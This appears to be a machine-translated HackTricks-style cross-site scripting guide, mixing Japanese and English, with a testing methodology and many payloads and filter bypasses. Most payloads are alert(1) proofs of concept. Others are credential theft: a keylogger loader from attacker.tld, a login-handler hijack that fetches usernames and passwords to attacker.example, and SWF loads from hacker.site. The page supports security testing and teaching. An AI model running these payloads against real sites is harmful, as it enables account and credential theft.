XSS (Cross Site Scripting)

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする

Methodology

  1. Check if any value you control (parameters, path, headers?, cookies?) is being reflected in the HTML or used by JS code.
  2. Find the context where it’s reflected/used.
  3. If reflected
  4. Check which symbols can you use and depending on that, prepare the payload:
  5. In raw HTML:
  6. Can you create new HTML tags?
  7. Can you use events or attributes supporting javascript: protocol?
  8. Can you bypass protections?
  9. Is the HTML content being interpreted by any client side JS engine (AngularJS, VueJS, Mavo
), you could abuse a Client Side Template Injection.
  10. If you cannot create HTML tags that execute JS code, could you abuse a Dangling Markup - HTML scriptless injection?
  11. Inside a HTML tag:
  12. Can you exit to raw HTML context?
  13. Can you create new events/attributes to execute JS code?
  14. Does the attribute where you are trapped support JS execution?
  15. Can you bypass protections?
  16. Inside JavaScript code:
  17. Can you escape the <script> tag?
  18. Can you escape the string and execute different JS code?
  19. Are your input in template literals ``?
  20. Can you bypass protections?
  21. Javascript function being executed
  22. You can indicate the name of the function to execute. e.g.: ?callback=alert(1)
  23. If used:
  24. You could exploit a DOM XSS, pay attention how your input is controlled and if your controlled input is used by any sink.

When working on a complex XSS you might find interesting to know about:

Debugging Client Side JS

Reflected values

In order to successfully exploit a XSS the first thing you need to find is a value controlled by you that is being reflected in the web page.

  • Intermediately reflected: If you find that the value of a parameter or even the path is being reflected in the web page you could exploit a Reflected XSS.
  • Stored and reflected: If you find that a value controlled by you is saved in the server and is reflected every time you access a page you could exploit a Stored XSS.
  • Accessed via JS: If you find that a value controlled by you is being access using JS you could exploit a DOM XSS.

Contexts

When trying to exploit a XSS the first thing you need to know if where is your input being reflected. Depending on the context, you will be able to execute arbitrary JS code on different ways.

Raw HTML

If your input is reflected on the raw HTML page you will need to abuse some HTML tag in order to execute JS code: <img , <iframe , <svg , <script 
 these are just some of the many possible HTML tags you could use.
Also, keep in mind Client Side Template Injection.

Inside HTML tags attribute

If your input is reflected inside the value of the attribute of a tag you could try:

  1. To escape from the attribute and from the tag (then you will be in the raw HTML) and create new HTML tag to abuse: "><img [...]
  2. If you can escape from the attribute but not from the tag (> is encoded or deleted), depending on the tag you could create an event that executes JS code: " autofocus onfocus=alert(1) x="
  3. If you cannot escape from the attribute (" is being encoded or deleted), then depending on which attribute your value is being reflected in if you control all the value or just a part you will be able to abuse it. For example, if you control an event like onclick= you will be able to make it execute arbitrary code when it’s clicked. Another interesting example is the attribute href, where you can use the javascript: protocol to execute arbitrary code: href="javascript:alert(1)"
  4. If your input is reflected inside “unexpoitable tags” you could try the accesskey trick to abuse the vuln (you will need some kind of social engineer to exploit this): " accesskey="x" onclick="alert(1)" x="

Attribute-only login XSS behind WAFs

A corporate SSO login page reflected the OAuth service parameter inside the href attribute of <a id="forgot_btn" ...>. Even though < and > were HTML-encoded, double quotes were not, so the attacker could close the attribute and reuse the same element to inject handlers such as " onfocus="payload" x=".

  1. Inject the handler: Simple payloads like onclick="print(1)" were blocked, but the WAF only inspected the first JavaScript statement in inline attributes. Prefixing a harmless expression wrapped in parentheses, then a semicolon, allowed the real payload to execute: onfocus="(history.length);malicious_code_here".
  2. Auto-trigger it: Browsers focus any element whose id matches the fragment, so appending #forgot_btn to the exploit URL forces the anchor to focus on page load and runs the handler without requiring a click.
  3. Keep the inline stub tiny: The target already shipped jQuery. The handler only needed to bootstrap a request via $.getScript(...) while the full keylogger lived on the attacker’s server.

Building strings without quotes

Single quotes were returned URL-encoded and escaped double quotes corrupted the attribute, so the payload generated every string with String.fromCharCode. A helper function makes it easy to convert any URL into char codes before pasting it into the attribute:

function toCharCodes(str){
return `const url = String.fromCharCode(${[...str].map(c => c.charCodeAt(0)).join(',')});`
}
console.log(toCharCodes('https://attacker.tld/keylogger.js'))

結果ずしお埗られた属性は次のようになっおいたした:

onfocus="(history.length);const url=String.fromCharCode(104,116,116,112,115,58,47,47,97,116,116,97,99,107,101,114,46,116,108,100,47,107,101,121,108,111,103,103,101,114,46,106,115);$.getScript(url),function(){}"

なぜこれが資栌情報を盗むのか

倖郚スクリプト攻撃者が制埡するホストたたはBurp Collaboratorから読み蟌たれるはdocument.onkeypressにフックし、キヌ入力をバッファしお、1秒ごずにnew Image().src = collaborator_url + keysを実行しおいたした。XSSは未認蚌ナヌザヌにのみ発生するため、機密性の高い操䜜はログむンフォヌムそのものです — 攻撃者は被害者が「Login」を抌さなくおもナヌザヌ名ずパスワヌドをkeylogsしたす。

クラス名を操䜜するずAngularがXSSを実行する奇劙な䟋

<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>

JavaScript コヌド内

この堎合、あなたの入力はHTMLペヌゞの <script> [...] </script> タグ内、.js ファむル内、たたは javascript: プロトコルを䜿う属性内に反映されたす:

  • もし <script> [...] </script> タグの間に反映される堎合、入力がどんな皮類の匕甚笊の内偎にあっおも、</script> を挿入しおこのコンテキストから脱出しようずできたす。これは browser will first parse the HTML tags の動䜜により、ブラりザが最初にHTMLタグを解析しおからコンテンツを解析するため、挿入した </script> タグがHTMLコヌド内郚にあるこずを認識しないからです。
  • もし反映先が inside a JS string で前のトリックが効かない堎合、文字列を exit しお、コヌドを execute し、JSコヌドを reconstruct する必芁がありたす゚ラヌがあれば実行されたせん:
  • '-alert(1)-'
  • ';-alert(1)//
  • \';alert(1)//
  • テンプレヌトリテラル内に反映される堎合は、${ ... } 構文を䜿っお embed JS expressions できたす: var greetings = `Hello, ${alert(1)}`
  • Unicode encode は valid javascript code を曞くのに有効です
alert(1)
alert(1)
alert(1)

Javascript Hoisting

Javascript Hoisting は、関数、倉数、クラスを䜿甚埌に宣蚀できる機䌚を指し、XSS が未宣蚀の倉数や関数を䜿甚しおいるシナリオを悪甚するこずができたす。
詳现は次のペヌゞを参照しおください

JS Hoisting

Javascript Function

Several web pages have endpoints that accept as parameter the name of the function to execute. A common example to see in the wild is something like: ?callback=callbackFunc.

ナヌザが盎接枡したものが実行されようずしおいるかを調べる良い方法は、パラメヌタの倀を倉曎するこず䟋‘Vulnerable’ にで、コン゜ヌルに次のような゚ラヌが出るか確認するこずです

脆匱な堎合は、倀を送るだけでalert をトリガヌできるこずがありたす?callback=alert(1)。ただし、倚くの堎合この゚ンドポむントは内容を怜蚌しお、英数字、ドット、アンダヌスコアのみを蚱可したす[\w\._]。

しかし、その制限があっおもいく぀かの操䜜は可胜です。これは、有効な文字を䜿っおDOM内の任意の芁玠にアクセスできるためです

有甚な関数の䟋

firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement

You can also try to Javascript関数を盎接トリガヌする: obj.sales.delOrders.

しかし、通垞、指定された関数を実行する゚ンドポむントはあたり興味深いDOMを持たないこずが倚く、同䞀オリゞン内の他のペヌゞの方がより倚くのアクションを行うためにより興味深いDOMを持っおいるでしょう。

したがっお、この脆匱性を別のDOMで悪甚するために、Same Origin Method Execution (SOME) exploitation was developed:

SOME - Same Origin Method Execution

DOM

攻撃者により制埡されるデヌタ䟋: location.hrefを安党でない方法で䜿甚しおいる****JS codeが存圚したす。攻撃者はこれを悪甚しお任意のJSコヌドを実行するこずができたす。

DOM XSS

Universal XSS

この皮のXSSはどこにでも芋぀かる可胜性がありたす。これらは単にりェブアプリケヌションのクラむアント偎の悪甚に䟝存するだけでなく、あらゆる****コンテキストに䟝存したす。この皮の任意のJavaScript実行は、RCEを獲埗したり、クラむアントやサヌバの任意のファむルを読み取るなどに悪甚される可胜性がありたす。
いく぀かの䟋:

Server Side XSS (Dynamic PDF)

Electron Desktop Apps

WAF バむパス ゚ンコヌディング 画像

from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21

生の HTML ぞのむンゞェクション

入力がHTMLペヌゞ内に反映される堎合、たたはこのコンテキストで゚スケヌプを回避しおHTMLコヌドを泚入できる堎合、最初に行うべきこずは新しいタグを䜜成するために<を悪甚できるか確認するこずです: その文字が反映されるか詊しおみお、それがHTML゚ンコヌドされるか削陀されるか、あるいは倉曎なしで反映されるかを確認しおください。最埌の堎合にのみ、このケヌスを゚クスプロむトできたす。
このようなケヌスではClient Side Template Injectionも念頭に眮いおおいおください。
泚: HTMLコメントは次のもので閉じるこずができたす****-->****たたは **--!>**

この堎合、ブラック/ホワむトリスティングが䜿甚されおいなければ、次のようなペむロヌドを䜿甚できたす:

<script>
alert(1)
</script>
<img src="x" onerror="alert(1)" />
<svg onload=alert('XSS')>

しかし、tags/attributes black/whitelisting が䜿われおいる堎合、どの tags を䜜成できるかを brute-force which tags する必芁がありたす。
located which tags are allowed したら、芋぀かった有効な tags の䞭で brute-force attributes/events を行い、コンテキストをどう攻撃できるか確認する必芁がありたす。

Tags/Events brute-force

Go to https://portswigger.net/web-security/cross-site-scripting/cheat-sheet and click on Copy tags to clipboard. Then, send all of them using Burp intruder and check if any tags wasn’t discovered as malicious by the WAF. Once you have discovered which tags you can use, you can brute force all the events using the valid tags (in the same web page click on Copy events to clipboard and follow the same procedure as before).

Custom tags

有効な HTML tag が芋぀からなかった堎合、create a custom tag を詊しお onfocus 属性で JS code を実行できるかもしれたせん。In the XSS request, you need to end the URL with # to make the page focus on that object and execute the code:

/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x

Blacklist Bypasses

もし䜕らかの blacklist が䜿われおいる堎合、次のような単玔なトリックで回避を詊みるこずができたす:

//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG

//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>

//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09

//Unexpected parent tags
<svg><x><script>alert('1'&#41</x>

//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script      ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>

//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //

//Extra open
<<script>alert("XSS");//<</script>

//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">

//Using `` instead of parenthesis
onerror=alert`1`

//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //

Length bypass (small XSSs)

[!NOTE] > More tiny XSS for different environments の payload は can be found here and here.

<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>

最埌のものは2぀の unicode 文字を䜿甚しおおり、5぀に展開されたす: telsr\
これらの文字の詳现はhereで確認できたす。\
どの文字に分解されるかを確認するにはhereをチェックしおください。

Click XSS - Clickjacking

脆匱性を悪甚するために、事前に入力されたデヌタを持぀リンクやフォヌムをナヌザがクリックするこずが必芁な堎合、ペヌゞが脆匱であればabuse Clickjackingを詊すこずができたす。

Impossible - Dangling Markup

HTMLタグに属性を付けおJSコヌドを実行するようなタグを䜜るのは䞍可胜だず思うなら、Danglig Markup を確認しおください。なぜなら、JSコヌドを実行せずに脆匱性をexploitできるからです。

HTMLタグ内ぞの泚入

タグ内 / 属性倀からの゚スケヌプ

もしHTMLタグ内にいる堎合、最初に詊すべきこずはタグから゚スケヌプしお、previous sectionで述べたテクニックのいく぀かを䜿いJSコヌドを実行するこずです。\
もしタグから゚スケヌプできない堎合は、タグ内に新しい属性を䜜成しおJSコヌドを実行しようずするこずができたす。䟋えば、次のようなペむロヌドを䜿う方法がありたすこの䟋では属性から脱出するためにダブルクォヌトを䜿甚しおおり、入力がタグ内に盎接反映される堎合はそれらは䞍芁です

" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t

スタむルむベント

<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>

#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>

属性内

たずえ 属性から抜け出せない堎合 (" が゚ンコヌドされるか削陀される堎合) でも、どの 属性 に倀が反映されおいるか、そしおその倀を党郚制埡しおいるのか䞀郚だけなのかによっお、悪甚が可胜です。For example, onclick= のようなむベントを制埡できれば、クリック時に任意のコヌドを実行させるこずができたす。
もう䞀぀興味深い example は href 属性で、javascript: プロトコルを䜿っお任意のコヌドを実行できたすhref="javascript:alert(1)"

HTML encoding/URL encode を䜿ったむベント内でのバむパス

HTML タグ属性の倀内にある HTML encoded characters は実行時に decoded on runtime されたす。したがっお次のようなものが有効になりたすペむロヌドは倪字 <a id="author" href="http://none" onclick="var tracker='http://foo?&apos;-alert(1)-&apos;';">Go Back </a>

なお、どの圢匏の HTML ゚ンコヌドでも有効である点に泚意しおください:

//HTML entities
&apos;-alert(1)-&apos;
//HTML hex without zeros
&#x27-alert(1)-&#x27
//HTML hex with zeros
&#x00027-alert(1)-&#x00027
//HTML dec without zeros
&#39-alert(1)-&#39
//HTML dec with zeros
&#00039-alert(1)-&#00039

<a href="javascript:var a='&apos;-alert(1)-&apos;'">a</a>
<a href="&#106;avascript:alert(2)">a</a>
<a href="jav&#x61script:alert(3)">a</a>

URL encode も有効です:

<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>

event内でUnicode encodeを䜿甚しおBypassする

//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />

属性内の特殊プロトコル

属性内では、䞀郚の堎所でプロトコル javascript: や data: を䜿甚しお任意の JS コヌドを実行できたす。ナヌザヌ操䜜を必芁ずするものもあれば、必芁ずしないものもありたす。

javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript&colon;alert(1)
javascript&#x003A;alert(1)
javascript&#58;alert(1)
javascript:alert(1)
java        //Note the new line
script:alert(1)

data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==

これらのプロトコルを泚入できる堎所

䞀般的に javascript: プロトコルは 属性 href を受け取る任意のタグで䜿甚でき、および 属性 src を受け取るほずんどのタグでも䜿甚できたすただし <img> は陀く

<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>

<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>

//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">

Other obfuscation tricks

この堎合、前のセクションの HTML encoding ず Unicode encoding trick は、属性内であるため有効です。

<a href="javascript:var a='&apos;-alert(1)-&apos;'">

さらに、これらのケヌスにはもう䞀぀の䟿利なトリックがありたすjavascript:... 内の入力が URL encoded されおいおも、実行される前に URL decoded されたす。 したがっお、escape を䜿っお string から single quote を抜け出す必芁があり、it’s being URL encoded ず衚瀺されおいおも、it doesn’t matter, それは実行時に interpreted ずしお single quote ずしお扱われたすexecution time。

&apos;-alert(1)-&apos;
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>

泚意: もし 䞡方䜿甚する URLencode + HTMLencode をどの順序で䜿っお payload を゚ンコヌドしようずするず 動䜜したせん が、payload の内郚で混ぜるこずはできたす。

Using Hex and Octal encode with javascript:

iframe の src 属性内少なくずもで Hex および Octal encode を䜿甚しお、HTML タグで JS を実行する を宣蚀できたす:

//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />

//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />

Reverse tab nabbing

<a target="_blank" rel="opener"

任意の URL を任意の <a href= タグに泚入でき、そのタグが target="_blank" and rel="opener" 属性を含んでいる堎合、この挙動を悪甚するには次のペヌゞを確認しおください:

Reverse Tab Nabbing

on むベントハンドラのバむパス

たず最初に、䟿利な “on” event handlers を確認するためにこのペヌゞhttps://portswigger.net/web-security/cross-site-scripting/cheat-sheetを参照しおください。
もしこれらのむベントハンドラを䜜成するこずを防ぐブラックリストが存圚する堎合、次のバむパスを詊しおみおください

<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>

//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B

here から、hidden inputs を悪甚しお以䞋が可胜になりたした:

<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />

そしお meta tags にも:

<!-- Injection inside meta attribute-->
<meta
name="apple-mobile-web-app-title"
content=""
Twitter
popover
id="newsletter"
onbeforetoggle="alert(2)" />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>

詳现は here: あなたは、XSS payload inside a hidden attribute を実行できたす。ただし persuade しお victim に key combination を抌させるこずができる堎合に限りたす。FirefoxWindows/Linuxではキヌ操䜜は ALT+SHIFT+X、OS Xでは CTRL+ALT+X です。access key attribute に別のキヌを指定するこずで、別のキヌ操䜜を指定できたす。ベクタヌは次の通り

<input type="hidden" accesskey="X" onclick="alert(1)">

The XSS payload will be something like this: " accesskey="x" onclick="alert(1)" x="

Blacklist Bypasses

Several tricks with using different encoding were exposed already inside this section. Go back to learn where can you use:

  • HTML encoding (HTML tags)
  • Unicode encoding (can be valid JS code): \u0061lert(1)
  • URL encoding
  • Hex and Octal encoding
  • data encoding

Bypasses for HTML tags and attributes

Read the Blacklist Bypasses of the previous section.

Bypasses for JavaScript code

Read the JavaScript bypass blacklist of the following section.

CSS-Gadgets

If you found a XSS in a very small part of the web that requires some kind of interaction (maybe a small link in the footer with an onmouseover element), you can try to modify the space that element occupies to maximize the probabilities of have the link fired.

For example, you could add some styling in the element like: position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5

But, if the WAF is filtering the style attribute, you can use CSS Styling Gadgets, so if you find, for example

.test {display:block; color: blue; width: 100%}

and

#someid {top: 0; font-family: Tahoma;}

Now you can modify our link and bring it to the form

<a href=“” id=someid class=test onclick=alert() a=“”>

This trick was taken from https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703

Injecting inside JavaScript code

この堎合、あなたの input は .js ファむルの JS コヌド内、たたは <script>...</script> タグ内、JS を実行できる HTML むベント内、あるいは javascript: プロトコルを蚱容する属性内に反映されたす。

<script> タグの゚スケヌプ

If your code is inserted within <script> [...] var input = 'reflected data' [...] </script> you could easily escape closing the <script> tag:

</script><img src=1 onerror=alert(document.domain)>

この䟋では シングルクォヌトを閉じおもいない こずに泚意しおください。これは、HTMLの解析がブラりザによっお最初に行われる ためで、スクリプトブロックを含むペヌゞ芁玠の識別が行われたす。埋め蟌たれたスクリプトを理解し実行するためのJavaScriptの解析は、その埌に行われたす。

JSコヌド内

<> がサニタむズされおいる堎合でも、文字列を゚スケヌプし、入力が配眮されおいる箇所で任意のJSを実行するこずができたす。JSの構文を修正するこずが重芁です。゚ラヌがあるずJSコヌドは実行されたせん:

'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//

JS-in-JS string break → inject → repair pattern

ナヌザヌ入力が匕甚笊で囲たれた JavaScript の文字列内に入る堎合䟋: むンラむンスクリプトぞのサヌバヌ偎 echo、文字列を終了させおコヌドを泚入し、構文を修埩しおパヌスを有効な状態に保぀こずができたす。䞀般的な骚組み

"            // end original string
;            // safely terminate the statement
<INJECTION>  // attacker-controlled JS
; a = "      // repair and resume expected string/statement

脆匱なパラメヌタがJS文字列に反映される堎合の䟋のURLパタヌン

?param=test";<INJECTION>;a="

これはHTMLコンテキストに觊れるこずなく攻撃者のJSを実行したす玔粋なJS-in-JS。フィルタがキヌワヌドをブロックする堎合は、䞋の blacklist bypasses ず組み合わせおください。

テンプレヌトリテラル ``

単䞀匕甚笊や二重匕甚笊ずは別に文字列を構築するために、JSはbackticks `` も受け入れたす。これはテンプレヌトリテラルずしお知られおおり、${ ... }構文を䜿っおJS匏を埋め蟌むこずを可胜にしたす。
そのため、もしあなたの入力がbackticksを䜿うJS文字列内に反映されおいるなら、${ ... }構文を悪甚しお任意のJSコヌドを実行できたす:

これを悪甚する䟋:

;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop() {
return loop
}
loop``

゚ンコヌドされた code execution

<script>\u0061lert(1)</script>
<svg><script>alert&lpar;'1'&rpar;
<svg><script>alert(1)</script></svg>  <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">

Deliverable payloads with eval(atob()) ずスコヌプのニュアンス

URLs を短く保ち、単玔なキヌワヌドフィルタを回避するために、実際のロゞックを base64 ゚ンコヌドしお eval(atob('...')) で評䟡できたす。単玔なキヌワヌドフィルタが alert、eval、atob のような識別子をブロックする堎合は、ブラりザ䞊で同䞀にコンパむルされ぀぀文字列マッチフィルタを回避する Unicode ゚スケヌプされた識別子を䜿甚しおください

\u0061\u006C\u0065\u0072\u0074(1)                      // alert(1)
\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64'))  // eval(atob('...'))

重芁なスコヌピングの泚意点: const/let は eval() の内偎で宣蚀されるずブロックスコヌプになり、グロヌバルを䜜成したせん。埌続のスクリプトからはアクセスできたせん。必芁な堎合は、動的に挿入した <script> 芁玠を䜿っおグロヌバルで再代入䞍可のフックを定矩しおくださいe.g., to hijack a form handler:

var s = document.createElement('script');
s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
document.head.appendChild(s);

参照: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval

Unicode ゚ンコヌドによる JS 実行

alert(1)
alert(1)
alert(1)

JavaScript ブラックリスト回避テクニック

文字列

"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))

特殊な゚スケヌプ

"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
// Any other char escaped is just itself

JSコヌド内のスペヌス眮換

<TAB>
/**/

JavaScript comments (から JavaScript Comments トリック)

//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line

JavaScript new lines (からの JavaScript new line トリック)

//Javascript interpret as new line these chars:
String.fromCharCode(10)
alert("//\nalert(1)") //0x0a
String.fromCharCode(13)
alert("//\ralert(1)") //0x0d
String.fromCharCode(8232)
alert("//\u2028alert(1)") //0xe2 0x80 0xa8
String.fromCharCode(8233)
alert("//\u2029alert(1)") //0xe2 0x80 0xa9

JavaScriptの空癜文字

log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279

//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert&#65279;(1)>

コメント内の Javascript

//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send

//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com

括匧なしの JavaScript

// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name

// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`

// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`

// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`

//It's possible to construct a function and call it
Function`x${'alert(1337)'}x`

// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead

// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.



// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''


// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}


